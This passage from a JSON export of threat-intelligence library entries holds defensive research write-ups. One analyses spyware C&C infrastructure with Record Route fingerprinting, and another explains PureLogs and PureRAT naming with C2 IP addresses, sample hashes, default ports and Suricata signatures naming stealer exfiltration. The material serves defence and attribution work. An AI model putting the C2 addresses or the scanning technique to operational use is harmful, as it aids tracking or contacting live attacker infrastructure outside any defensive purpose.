package, inspect the developer tool files listed above for the\n\ninjected marker tags and reinstall the affected applications if found.\n\n4. Rotate credentials that were present on affected machines, including browser stored secrets, Git and\n\nGitHub tokens, npm tokens, and any wallet keys.\n\n5. Review outbound network logs for connections to the C2 hosts and blockchain lookup endpoints.\n\nHow StepSecurity Protects Against This\n\nHarden-Runner records every process, file, and network event in your CI/CD jobs. In audit mode it flags\n\noutbound calls that are not in your baseline, which is exactly how a blockchain lookup or a C2 callout stands out.\n\nIn block mode it denies any destination that is not on your allowlist, so a newly resolved C2 address is blocked by\n\ndefault.\n\nnpm Package Cooldown and Compromised Package checks stop a newly published or known malicious\n\nversion from entering your repositories through a pull request.\n\nDev Machine Guard discovers the npm packages installed on developer machines and detects the suspicious files\n\nthis campaign drops, which covers the workstation surface the stealer is built to attack.\n\nCheck if these packages are in your environment\n\nStepSecurity checks your repositories, CI/CD pipelines, and developer machines for compromised packages like\n\nthe ones in this Joyfill campaign.\n\nStart FreeRequest a Demo\n\nSource: https://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nPage 16 of 16","extraction_quality":1,"language":"EN","sources":["Malpedia"],"origins":["web"],"references":["https://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise"],"report_names":["joyfill-npm-supply-chain-compromise"],"threat_actors":[],"ts_created_at":1785463327,"ts_updated_at":1785549791,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/34ce1b23671cbe864497772a5fc442896273ecbc.pdf","text":"https://archive.orkl.eu/34ce1b23671cbe864497772a5fc442896273ecbc.txt","img":"https://archive.orkl.eu/34ce1b23671cbe864497772a5fc442896273ecbc.jpg"}},{"id":"380a0ef5-4748-4c9b-b3c4-e9857ad49cb3","created_at":"2026-07-30T02:02:11.978453Z","updated_at":"2026-08-01T02:02:26.939023Z","deleted_at":null,"sha1_hash":"6099dd192339de39732289492465347ed662db71","title":"An Angry Spark, or a Triangle in Disguise?","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":72856,"plain_text":"https://medium.com/@billmarczak/an-angry-spark-or-a-triangle-in-disguise-ac32852a1be3\n\nAn Angry Spark, or a Triangle in Disguise?\n\nBy Bill Marczak\n\nPublished: 2026-07-27 · Archived: 2026-07-30 02:00:58 UTC\n\n5 min read\n\n1 day ago\n\n--\n\nA Union-Jack-clad triangle angrily emits sparks on the screen of a retro monitor (Source: ChatGPT)\n\nOn April 14, 2026, Gen Digital published “Chasing an Angry Spark”, a report about sophisticated Windows\n\nspyware that Gen saw once in 2022, and never again. Fascinatingly, the payload they found — and its command-\n\nand-control (C\u0026C) servers — appeared to be completely novel to the threat intelligence community.\n\nSo how did Angry Spark remain undetected for so long, and precisely who is behind it? Gen did not directly\n\naddress these questions, but instead provided an oblique hint: the use of British orthography (“sombrely”) in the\n\npayload’s strings.\n\nHowever, in a strange twist, it turns out that years before, we had unwittingly stumbled upon one of the C\u0026C\n\nservers listed in Gen’s report while examining what we surmised was spyware activity. Our investigation provides\n\na compelling clue as to the pedigree of the Angry Spark spyware and its operators.\n\nA Hit and a Pivot\n\nIn the Summer of 2020, we noted a Middle Eastern network communicating with a suspected spyware C\u0026C,\n\nad43-nxs[.]com. Our experience mapping spyware tells us that its operators tend to divide their targets among\n\nmultiple such servers, all with similar behavior. Thus, we set out to find the ones we were missing by pivoting on\n\nthe characteristics of ad43-nxs[.]com. But, we ran into a problem: the standard techniques we tried (e.g.,\n\nsearching for comparable response headers, body, and JARM) yielded no additional servers. Clearly, we had to\n\npivot harder!\n\nFortunately, the operator of ad43-nxs[.]com had made an intriguing–if not altogether unusual–choice: they had set\n\nup the server to forward any TCP/IP SYN on port 443 through multiple intermediate hops, before a TCP/IP stack\n\non an endpoint generated a SYN/ACK response (as indicated by lower-than-expected response IP TTL values\n\ncombined with higher-than-expected round-trip-time). This behavior allowed us not only to directly measure the\n\nendpoint without the added complexity of laundering probes through (say) a frontend HTTP proxy, but, crucially,\n\nalso to fingerprint the forwarding path itself.\n\nPage 1 of 3\n\nhttps://medium.com/@billmarczak/an-angry-spark-or-a-triangle-in-disguise-ac32852a1be3\n\nWe built such a path fingerprint, which we call IP-ESSENCE, based primarily on responses we triggered using\n\nthe Record Route IP option. As one may expect from the option’s name, all intermediate hops that handle an IP\n\npacket including Record Route–and whose IP stacks have made the (popular) choice to support it–append their\n\nown IP address to the earliest unfilled slot in the option; any filled slots are forwarded unmodified. Furthermore,\n\nthe Linux Kernel’s TCP implementation copies the Record Route option from an incoming SYN into the response\n\nSYN/ACK’s IP header, though we could not trace this behavior to any RFC.\n\nPress enter or click to view image in full size\n\nhping3 output shows an example of a returned SYN/ACK with a filled Record Route header.\n\nWhile routers tend to drop packets containing IP options as they traverse the internet, most of this filtering occurs\n\nat network boundaries. As expected, we were able to reliably elicit TCP SYN/ACKs with Record Route from\n\nad43-nxs[.]com by siting our measurement machine within the same network (Amazon) and EC2 region (ap-\n\nsoutheast-1) as the suspected C\u0026C.\n\nOur most recent successful IP-ESSENCE scan on EC2 was in 2024. We set up measurement instances within the\n\nfree tiers of most Amazon EC2 regions and conducted in-region scanning with Record Route. We probed\n\napproximately 130 million IPs, and nearly 80 matched our fingerprint. When we later presented our methodology\n\nat an invite-only threat intelligence conference, IP-ESSENCE became far less effective.\n\nFrom OBTUSE to SCALENE\n\nWhile IP-ESSENCE was operative, we found two main clusters of suspected spyware activity on Amazon EC2.\n\nThe first, which we call OBTUSE, used proxy chains of length 3 and was dispersed across multiple EC2 regions.\n\nWithin OBTUSE, we noted several sub-clusters, which often tracked geographic regions. Among them were\n\nOBTUSE-RU, focused on Russia, and OBTUSE-ME-1, focused on the Middle East.\n\nIt was in 2023 that we learned our OBTUSE cluster represented bona fide spyware activity: Operation\n\nTriangulation! Kaspersky’s report listed IOCs including one of the four OBTUSE-RU domains we identified,\n\nans7tv[.]net. Leaked Snort rules purportedly from Kaspersky Lab that were posted publicly on BreachForums\n\nincluded the same domain alongside ad43-nxs[.]com (OBTUSE-ME-1), both tagged as “EquationGroup-\n\nTriangleDB”.\n\nWe note that the purported leaked Kaspersky IOCs do not include any further OBTUSE domains, showing that\n\nwhoever generated the list of IOCs probably did not independently find IP-ESSENCE. Yet, they knew just\n\nenough to associate ad43-nxs[.]com with ans7tv[.]net. We propose that the list’s author (perhaps Kaspersky)\n\nidentified a Middle East deployment of Operation Triangulation’s spyware sometime in 2023 or earlier.\n\nPress enter or click to view image in full size\n\nBreachForums user IgrooEagle offered up purported Kaspersky goodies for sale, but publicized,\n\nperhaps, the most interesting ones for free.\n\nWhile Kaspersky’s report answered the OBTUSE question, the second suspected spyware cluster, which we call\n\nSCALENE, remained a stubborn mystery. In contrast with OBTUSE, the SCALENE infrastructure used proxy\n\nPage 2 of 3\n\nhttps://medium.com/@billmarczak/an-angry-spark-or-a-triangle-in-disguise-ac32852a1be3\n\nchains of length 4, TLS certificates with third-level domains, and was exclusively located in the eu-west-2 EC2\n\nregion, sited in London.\n\nThe SCALENE cluster also had uncommon responses that allowed us to pivot to related infrastructure hosted\n\noutside of Amazon EC2. The off-EC2 SCALENE infrastructure was largely hosted on the UK IP addresses of\n\nvarious cloud providers. Puzzlingly, we were never able to understand the victimology of SCALENE, leading us\n\nto suspect that any spyware operations were low volume, or confined to specific geographic regions.\n\nSCALENE shifts into focus\n\nOn April 14, 2026, Gen provided a critical missing piece: the second stage (“Stage 1”) of the novel spyware they\n\nobserved talked to one of the off-EC2 SCALENE servers we had found: pick.storewebzone[.]net, hosted on\n\n185.151.31[.]111. Thus, we learned that not only did our OBTUSE cluster represent actual spyware, but so too did\n\nour SCALENE cluster!\n\nPress enter or click to view image in full size\n\nTwo spywares, one fingerprint.\n\nDespite Gen’s breakthrough, mysteries remain. We were quite surprised that the spyware Gen found was not only\n\ndesigned for Windows, but also contained (at least) one instance of British spelling. This shows two important\n\ncontrasts with Operation Triangulation, an iPhone attack that was (at least partially) US-linked (including via\n\nimproper OPSEC during procurement of IP address space, a problem that has long bedeviled the US intelligence\n\ncommunity).\n\nCoincidence, or coordination?\n\nSo what does it mean that UK-ish Windows spyware overlaps with US-ish iOS spyware? To start, we must\n\nentertain the possibility that we pivoted too hard. Perhaps our jump from OBTUSE to SCALENE was a\n\ncoincidence, and we accidentally found infrastructure for a spyware deployment wholly unrelated to Operation\n\nTriangulation. On the other hand, both Angry Spark and Triangulation appear highly targeted, and our pivoting\n\ndoes not seem to have strayed beyond Western-aligned operations. We think a more likely possibility is that both\n\nOBTUSE and SCALENE shared private tooling or, at least, a “playbook” for standing up infrastructure.\n\nSource: https://medium.com/@billmarczak/an-angry-spark-or-a-triangle-in-disguise-ac32852a1be3\n\nPage 3 of 3","extraction_quality":1,"language":"EN","sources":["Malpedia"],"origins":["web"],"references":["https://medium.com/@billmarczak/an-angry-spark-or-a-triangle-in-disguise-ac32852a1be3"],"report_names":["an-angry-spark-or-a-triangle-in-disguise-ac32852a1be3"],"threat_actors":[{"id":"ad08bd3d-e65c-4cfd-874a-9944380573fd","created_at":"2023-06-23T02:04:34.517668Z","updated_at":"2026-08-01T02:00:07.454204Z","deleted_at":null,"main_name":"Operation Triangulation","aliases":[],"source_name":"ETDA:Operation Triangulation","tools":["TriangleDB"],"source_id":"ETDA","reports":null},{"id":"113b8930-4626-4fa0-9a3a-bcf3ef86f595","created_at":"2024-02-06T02:00:04.14393Z","updated_at":"2026-08-01T02:00:03.869176Z","deleted_at":null,"main_name":"Operation Triangulation","aliases":[],"source_name":"MISPGALAXY:Operation Triangulation","tools":[],"source_id":"MISPGALAXY","reports":null}],"ts_created_at":1785376931,"ts_updated_at":1785549746,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/6099dd192339de39732289492465347ed662db71.pdf","text":"https://archive.orkl.eu/6099dd192339de39732289492465347ed662db71.txt","img":"https://archive.orkl.eu/6099dd192339de39732289492465347ed662db71.jpg"}},{"id":"874bf63d-aac1-4a51-9be6-e7975075a86a","created_at":"2026-07-29T02:02:29.107751Z","updated_at":"2026-08-01T02:02:10.080813Z","deleted_at":null,"sha1_hash":"276e10f8b201170cacc20e1bbd052628bac38e37","title":"PureLogs, PureRAT and misleading zgRAT","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":323337,"plain_text":"PureLogs, PureRA\n\nBy Erik Hjelmvik\n\nPublished: 2026-07-27 · Archived: 2026-07-29 02:01:47 UTC\n\n,\n\nMonday, 27 July 2026 16:00:00 (UTC/GMT)\n\nhttps://netresec.com/?b=267e877\n\nT and misleading zgRAT\n\nPage 1 of 7\n\nhttps://netresec.com/?b=267e877\n\nPlease stop classifying malware as zgRAT. That malware label is confusing. As far as I know, there isn’t a proper\n\ndefinition of what zgRAT actually is. Some claim that zgRAT is the same malware family as PureLogs, while\n\nothers argue that zgRAT should be mapped to PureRAT. There is also a blog post by malware analysts khr0x and\n\nJane where they clearly state that PureLogs is not the same thing as zgRAT.\n\nDespite the similar names PureLogs and PureRAT are not the same type of malware. PureLogs is an infostealer,\n\nwhile PureRAT is a Remote Access Trojan (RAT). Both are, however, built using .NET and are developed by\n\nPureCoder.\n\nWe previously helped clear up confusion around labels like ResolverRAT and PureHVNC, which were used in the\n\npast to refer to PureRAT malware samples. I hope this post helps reduce misunderstandings caused by the use of\n\nzgRAT.\n\nNaming malware and threat actors\n\nMalware labels and threat-actor labels serve different purposes. Publicly attributing an attack to a real-world\n\norganization might cause political turmoil, which can be avoided by using a threat-actor alias instead. Threat-actor\n\naliases also often reflect each organization’s access to evidence and internal clustering process. As a result,\n\nmultiple aliases for the same actor can coexist.\n\nMalware-family labels, on the other hand, are usually more deterministic. Given a hash of a malware sample,\n\nresearchers generally know they’re looking at the exact same artifact. For that reason, the most useful practice is\n\nto use the same name as the malware developers or the earliest widely adopted naming and use “unknown” or\n\n“unidentified” when classification is unclear. This reduces label fragmentation and downstream confusion when\n\nthe same label is reused for different malware families.\n\nWhy zgRAT causes confusion\n\nMany zgRAT signatures consistently match PureLogs, while others match PureRAT. There’s also a fairly popular\n\nYARA rule called “MALWARE_Win_zgRAT” that matches pretty much any binary protected with .NET Reactor.\n\nTaken together, this creates a solid foundation for false positives and misunderstandings stemming from the\n\nzgRAT label. And without a proper definition of what zgRAT actually is, such as a consistent mapping to a single\n\nmalware family, false positives and misclassifications involving the zgRAT label are much harder to spot and\n\nweed out.\n\nPureLogs\n\nPage 2 of 7\n\nhttps://netresec.com/?b=267e877\n\nPureLogs is an infostealer that automatically collects and exfiltrates credentials and sensitive data from infected\n\nhosts, including browser-stored logins, credit card numbers, cookies, crypto-wallet data, VPN credentials and\n\ncredentials for various chat/messaging platforms.\n\nPureLogs uses a custom binary protocol to exfiltrate stolen data.\n\nwrapped in TLS, thereby making it harder to detect on the network.\n\nDefault server ports:\n\nTCP 7701 - 7710 (non-TLS)\n\nAs of PureLogs v5.0 the network traffic is often\n\nPage 3 of 7\n\nTCP 8443 (TLS)\n\nServer ports are configurable, but the default ports are often used.\n\nSuricata signatures for non-TLS PureLogs traffic:\n\n2048901 ET MAL\n\n2061601 ET MAL\n\n2061633 ET MAL\n\n2061634 ET MAL\n\n2063215 ET MAL\n\nSelected suricata signatures (not exhaustive) for TLS encrypted PureLogs traffic:\n\n903209570 SSLBL: Malicious SSL certificate detected (PureHVNC C\u0026C)\n\n903209620 SSLBL: Malicious SSL certificate detected (PureHVNC C\u0026C)\n\n903209854 SSLBL: Malicious SSL certificate detected (PureLogsStealer C\u0026C)\n\n903210180 SSLBL: Malicious SSL certificate detected (PureLogsStealer C\u0026C)\n\nFlowCarp protocol names:\n\nPureLogs\n\nTLS, PureLogs\n\nRecent PureLogs samples (hash and C2):\n\n404f0d36fcbe5c4643e821403a4827eb 204.44.93.88:8449\n\n7e49bac468548a0e83133f0d5b02544b 5.101.84.75:4242\n\n3c9852c53cb45221886b34ed6bc7d674 46.151.182.159:776\n\nPureRAT\n\nhttps://netresec.com/?b=267e877\n\nWARE [ANY.RUN] zgRAT / PureLogs Stealer C2 Connection M2\n\nWARE zgRAT / PureLogs Stealer GZIP Exfiltration Outbound\n\nWARE PureLogs Backdoor Server GZIP C2 Traffic\n\nWARE PureLogs Backdoor Client GZIP C2 Traffic\n\nWARE zgRAT / PureLogs Stealer C2 Server Connection M3\n\nPage 4 of 7\n\nPureRAT is a Remote Access Trojan (RA\n\nsuch as:\n\nHidden VNC (HVNC) and remote desktop with mouse and keyboard control\n\nViewing the webcam\n\nListening to the microphone\n\nReal-time keylogging\n\nRemote command prompt\n\nReverse proxy (HTTP and SOCKS5)\n\nCode injection\n\nhttps://netresec.com/?b=267e877\n\nT) with many built-in features for live interaction with infected hosts,\n\nPage 5 of 7\n\nhttps://netresec.com/?b=267e877\n\nPureRAT previously used a flawed TLS implementation that could be easily detected on the network. The current\n\nTLS implementation is more difficult to spot.\n\nDefault C2 ports:\n\nTCP 56001\n\nTCP 56002\n\nTCP 56003\n\nServer ports are configurable, but the default ports are often used.\n\nSelected suricata signatures (not exhaustive) for PureRAT traffic:\n\n2035595 ET MALWARE Generic AsyncRAT/zgRAT Style SSL Cert\n\n2070181 ET MALWARE PureRAT TLS Certificate Observed (PureRAT Agent)\n\n903208736 SSLBL: Malicious SSL certificate detected (PureHVNC C\u0026C)\n\n903209136 SSLBL: Malicious SSL certificate detected (PureLogsStealer C\u0026C)\n\n903209139 SSLBL: Malicious SSL certificate detected (PureLogsStealer C\u0026C)\n\n903209682 SSLBL: Malicious SSL certificate detected (ResolverRAT C\u0026C)\n\n906200096 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (AsyncRAT)\n\nFlowCarp protocol names:\n\nPureRAT\n\nTLS, PureRAT\n\nRecent PureRAT samples (hash and C2):\n\n323fed78fc8aaa86c3d35aa85313645d 85.239.149.178:56001\n\nb4400998cf293b0767455fb37526b18e 196.251.107.6:56001\n\n010301d23beacee631006245ed09a2f7 45.192.211.59:56001\n\nDetection notes\n\nAs you can see, both PureLogs and PureRAT traffic can trigger Suricata alerts with signatures labeled as\n\n“zgRAT”. There are also still signatures using outdated names like “PureHVNC” and “ResolverRAT”. Luckily,\n\nanalysts know that the alert label often doesn’t map to the correct malware family. The alert labels merely reflect\n\nhow the rule author named the suspected malware at creation time. Nevertheless, the fact that the “zgRAT“ label is\n\nused for PureLogs as well as PureRAT signatures contributes to the confusion regarding what zgRAT actually is.\n\nI use FlowCarp to identify PureLogs and PureRAT traffic and to tell them apart. FlowCarp uses statistical methods\n\nfor identifying the C2 protocol, which allows it to identify PureLogs as well as PureRAT traffic without having to\n\ntrack every new X.509 certificate that the C2 servers use.\n\nRecommendations\n\nPage 6 of 7\n\nhttps://netresec.com/?b=267e877\n\nGiven the fuzziness and ongoing confusion around the zgRAT label, I strongly recommend not using that term. If\n\nyou know that a sample is a piece of malware created by PureCoder (including PureLogs, PureRAT, PureMiner or\n\nBlueLoader), but you don’t know which one, then label it “unknown PureCoder malware” instead of slapping the\n\npoorly defined zgRAT label to it.\n\nFeel free to use the FlowCarp demo service if you have a PCAP file with C2 traffic and want a second opinion on\n\nthe C2 protocol or malware family. You can use curl to submit a PCAP file to the FlowCarp demo service like this:\n\ncurl --data-binary @sandbox.pcap https://demo.flowcarp.com\n\nPosted by Erik Hjelmvik on Monday, 27 July 2026 16:00:00 (UTC/GMT)\n\nTags: #zgRAT​#PureRAT​#PureLogs​#PureHVNC​#ResolverRAT​#Suricata​#FlowCarp​\n\nSource: https://netresec.com/?b=267e877\n\nPage 7 of 7\n\n404f0d36fcbe5c4643e821403a4827eb 204.44.93.88:8449\n7e49bac468548a0e83133f0d5b02544b 5.101.84.75:4242\n3c9852c53cb45221886b34ed6bc7d674 46.151.182.159:776\n\nTCP 56001\nTCP 56002\nTCP 56003\n\n323fed78fc8aaa86c3d35aa85313645d 85.239.149.178:56001\nb4400998cf293b0767455fb37526b18e 196.251.107.6:56001\n010301d23beacee631006245ed09a2f7 45.192.211.59:56001","extraction_quality":1,"language":"EN","sources":["Malpedia"],"origins":["web"],"references":["https://netresec.com/?b=267e877"],"report_names":["?b=267e877"],"threat_actors":[],"ts_created_at":1785290549,"ts_updated_at":1785549730,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/276e10f8b201170cacc20e1bbd052628bac38e37.pdf","text":"https://archive.orkl.eu/276e10f8b201170cacc20e1bbd052628bac38e37.txt","img":"https://archive.orkl.eu/276e10f8b201170cacc20e1bbd052628bac38e37.jpg"}}],"message":"library entries","status":"success"}